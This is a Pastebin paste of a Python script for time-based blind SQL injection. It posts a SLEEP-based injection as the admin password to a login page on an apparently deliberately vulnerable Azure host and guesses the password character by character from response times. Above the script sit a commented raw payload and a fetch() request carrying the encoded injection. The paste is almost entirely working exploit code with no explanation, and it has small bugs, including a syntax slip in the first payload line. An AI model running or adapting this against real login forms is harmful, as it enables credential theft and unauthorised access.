Advertisement
Nova38

Untitled

Aug 6th, 2022
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. # test' OR IF(substring(password,1,1)='a' SLEEP(10), null)' --
  2.  
  3. # fetch("http://reign-vuln-1.azurewebsites.net/check_login.php", {"credentials":"include","headers":{"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","accept-language":"en-US,en;q=0.9","cache-control":"max-age=0","content-type":"application/x-www-form-urlencoded","upgrade-insecure-requests":"1"},"referrer":"http://reign-vuln-1.azurewebsites.net/","referrerPolicy":"no-referrer-when-downgrade","body":"myusername=admin&mypassword=test%27+OR++IF%28substring%28password%2C1%2C1%29%3D%27c%27+SLEEP%2810%29%2C+null%29%27+--&submit_button=Submit","method":"POST","mode":"cors"});
  4.  
  5.  
  6. from stringprep import c22_specials
  7. import requests
  8. from rich import print
  9.  
  10.  
  11. url = "http://reign-vuln-1.azurewebsites.net/check_login.php"
  12.  
  13. CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"
  14.  
  15. l_guess = []
  16. i = 1
  17. highest_time = 0
  18. highest_char = "a"
  19. key = ""
  20. password=""
  21. for c in CHARSET:
  22. key_guesses = {}
  23.  
  24. test_password = password + c
  25.  
  26. #Construct the SQL timing exploit
  27. exploit = "{}' OR IF(substring(password,1,{}) = '{}', SLEEP(3), null) --'".format(password, str(i), test_password)
  28.  
  29. #Construct the input payload, where the username is admin
  30. #and the password is the exploit
  31. payload = {
  32. "myusername": "admin",
  33. "mypassword": exploit,
  34. "submit_button": "Submit"
  35. }
  36.  
  37. #Visit the website url using the requests library
  38. with requests.Session() as s:
  39.  
  40. p = s.post(url, data=payload)
  41. ti = p.elapsed.total_seconds()
  42.  
  43. if ti > highest_time:
  44. highest_char = c
  45. highest_time = ti
  46. key_guesses[c] = ti
  47.  
  48.  
  49. print (f"{highest_char} : {highest_time}")
  50.  
  51. key += highest_char
  52. l_guess.append(key_guesses)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement